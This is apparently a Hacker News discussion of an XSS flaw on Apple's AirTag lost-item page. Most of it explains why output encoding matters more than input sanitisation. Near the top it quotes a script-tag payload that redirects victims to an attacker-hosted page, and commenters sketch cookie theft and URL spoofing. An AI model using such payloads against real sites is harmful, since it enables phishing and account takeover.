After reading OP, I was under the impression this is something silly, like being able to enter “Please visit badsite.xyz” in the message you leave. The above makes clear that it’s a real XSS, the AirTag owner can run scripts on found.apple.com.
<script>window.location=’https://10.0.1.137:8000/indexer.html’;var a = ‘’;</script>
Depending on how the rest of Apple.com's site is configured, you could steal cookies and allow yourself to login without even needing a fake login page. You might be able to directly manipulate and make changes to the user's account.
Indeed, and with the history.pushState() API, you can even change the URL to be more realistic.
IIRC every process inside the iOS has its own cookie jar and browser container, so application X cannot read iOS Safari's or application Y's cookie jar or any cache in that regard.
So, every application's web view is so-called alone on the OS.
Containers and cookie jars don’t help you if the malicious code is running inside the container your sensitive data lives in.
In this specific example, if the iCloud cookies are marked as JS visible, and there no content security policy preventing inline JS, then the JS injected could grab the iCloud cookie and exfiltrate it to an attacker domain.
Surely (obviously not) at this point in time there has to be some out-of-the-box browser-engine (webkit/blink/gecko) input sanitation for widgets like "input", "textarea", etc?
I can only imagine this to be the case, so did an apple employee go out of their way to disable this feature? Or is this simply a case of the rookie developer using variable substitutions in a SQL string instead of a prepared statement and bindings? (SQL injection analogy)
----
As @rjmunro mentions nextdoor, if this vulnerability exists in this airtag application, might it actually be wide-spread across the entire iOS and mac OS code-base? Perhaps that's why Rauch heard little back from apple?
I suspect this is likely. It's generally accepted that it isn't possible to sanitize arbitrary user input before saving it into the database. There will always be someone called "<script>".
Instead you must format the data correctly when displaying it to the user. That means every place you get data from a database and process or display it, you should be using framework libraries to make sure no injection attacks can happen.
XSS and other injections are not problems with data input, they are problems of data output.
It would probably read like early texts on mathematics before modern notation was invented, where it's all just textual descriptions on how to solve various problems.
In fact, including default client side protections would not have fixed this issue (since this issue involved bypassing client side protection.)
Which is what browsers do.
You can sanitize input fields on the client all you want and an attacker would still send whatever the hell they felt like to the server.
I'm suggesting that surely these widgets and respective browser engines that enable them would be mature enough to not ineluctably evaluate anything that's entered.
This kind of attack essentially tricks Apple into including arbitrary HTML/JavaScript in the webpage that shows information when someone scans the tag. There's no reliable way a browser could even know something untoward was happening.
<input><script.../></input>
Thanks for the clarification.
Client side sanitation of input fields won't save you in this case.
In fact it will never save you.
Here's a "non-technical" example of why it wouldn't help, without even having to go into the details of making manual HTTP requests: Even if you have a browser that tries to sanitize input fields so it doesn't send anything to the server that causes the server to do bad things, an attacker could just use a different browser, or a modified browser, to send whatever the hell they wanted anyways.
Client side input sanitation is not security. It's just for UX.
I understand that client-side validation is only a cosmetic, first-round attempt at sanitation.
My understanding (which is wrong) was that the malicious script was being injected into the html input where it was finally rendered and at the same time invoked. I was suggesting that the contents of an input (the value) should never be rendered (and as a result, activated) as any other contents outside of an input is rendered.
Even if content within an input is never rendered, it makes little difference since the attack is able to inject the script in other places outside of an input anyways.
So as others pointed out, nothing to do with inputs.
It’s on the front page of Hacker News with clickbait headline, so yeah.
So the rule is: Never try to "sanitize" inputs, always sanitize outputs respective to output-context.
Regarding XSS there is this nice overview:
https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Ev...
As this is a complicated topic one should never try to escape things "by hand", for example by some "clever" regex. You won't catch this way all the possible encodings!
See my response above.
100% yes. It's called an XSS vulnerability. It was no 1 in the Open Web Application Security Project (OWASP) Top Ten 2017, although now that sites don't make this mistake very often, it's fallen to number 3 in the 2021 list.
> ... wide-spread across the entire iOS and mac OS code-base
It's not in the iOS or mac OS code-base, it's in the Apple website codebase. It could well be widespread there.
How are engineers who introduce XSS issues on production systems "ok" in 2021?
Makes me doubt the rest of your statement too. But mainly because I'm actually a Apple user myself so I know for a fact that neither the software nor the hardware people to be "top".
Github's co-pilot is a poor code generator, but it's a fair example of how bad a lot of public code is. I'm not sure private code tends to be much better in many orgs.